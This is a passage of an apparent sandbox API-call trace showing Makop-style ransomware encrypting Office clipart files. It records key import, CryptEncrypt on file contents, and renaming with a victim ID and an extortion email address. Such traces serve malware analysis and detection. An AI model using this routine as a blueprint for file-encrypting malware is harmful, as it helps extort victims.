pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17b0) returned 1 [0107.085] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.086] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x17b0, lpOverlapped=0x0) returned 1 [0107.086] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.086] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1884, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.086] SetEndOfFile (hFile=0xf0) returned 1 [0107.093] GetProcessHeap () returned 0x48a0000 [0107.093] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.093] GetProcessHeap () returned 0x48a0000 [0107.093] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.094] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.095] CloseHandle (hObject=0xf0) returned 1 [0107.096] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0107.096] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0107.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.096] GetProcessHeap () returned 0x48a0000 [0107.097] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.097] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.102] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.102] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.102] GetProcessHeap () returned 0x48a0000 [0107.102] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.102] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.102] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.102] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.102] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.103] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.103] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.103] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.103] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.103] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.104] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd58, lpOverlapped=0x0) returned 1 [0107.104] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd60, dwBufLen=0xd60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd60) returned 1 [0107.104] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.104] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd60, lpOverlapped=0x0) returned 1 [0107.104] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.104] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.104] SetEndOfFile (hFile=0xf0) returned 1 [0107.111] GetProcessHeap () returned 0x48a0000 [0107.111] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.111] GetProcessHeap () returned 0x48a0000 [0107.111] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.111] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.112] CloseHandle (hObject=0xf0) returned 1 [0107.113] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0107.113] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0107.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.124] GetProcessHeap () returned 0x48a0000 [0107.124] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.124] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.124] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.124] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.128] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.128] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.128] GetProcessHeap () returned 0x48a0000 [0107.128] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.128] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.128] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.128] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.128] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.129] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.129] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.129] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.129] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.129] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.129] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.129] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.129] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa4c, lpOverlapped=0x0) returned 1 [0107.130] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa50, dwBufLen=0xa50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa50) returned 1 [0107.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.130] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa50, lpOverlapped=0x0) returned 1 [0107.130] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.130] SetEndOfFile (hFile=0xf0) returned 1 [0107.136] GetProcessHeap () returned 0x48a0000 [0107.136] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.136] GetProcessHeap () returned 0x48a0000 [0107.136] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.136] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.139] CloseHandle (hObject=0xf0) returned 1 [0107.139] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0107.139] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0107.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.140] GetProcessHeap () returned 0x48a0000 [0107.140] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.140] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.140] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.140] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.148] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.148] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.148] GetProcessHeap () returned 0x48a0000 [0107.148] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.148] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.148] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.148] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.148] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.148] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.149] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.149] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.149] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.149] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.149] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.149] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x19ec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x19ec, lpOverlapped=0x0) returned 1 [0107.151] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19f0, dwBufLen=0x19f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19f0) returned 1 [0107.151] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.151] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x19f0, lpOverlapped=0x0) returned 1 [0107.151] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.151] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.151] SetEndOfFile (hFile=0xf0) returned 1 [0107.172] GetProcessHeap () returned 0x48a0000 [0107.172] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.172] GetProcessHeap () returned 0x48a0000 [0107.173] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.173] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.174] CloseHandle (hObject=0xf0) returned 1 [0107.174] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0107.174] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0107.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.175] GetProcessHeap () returned 0x48a0000 [0107.175] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.175] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.175] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.176] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0107.182] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.182] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.182] GetProcessHeap () returned 0x48a0000 [0107.182] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.182] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.182] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.182] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.182] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.183] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.183] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.183] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.183] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | 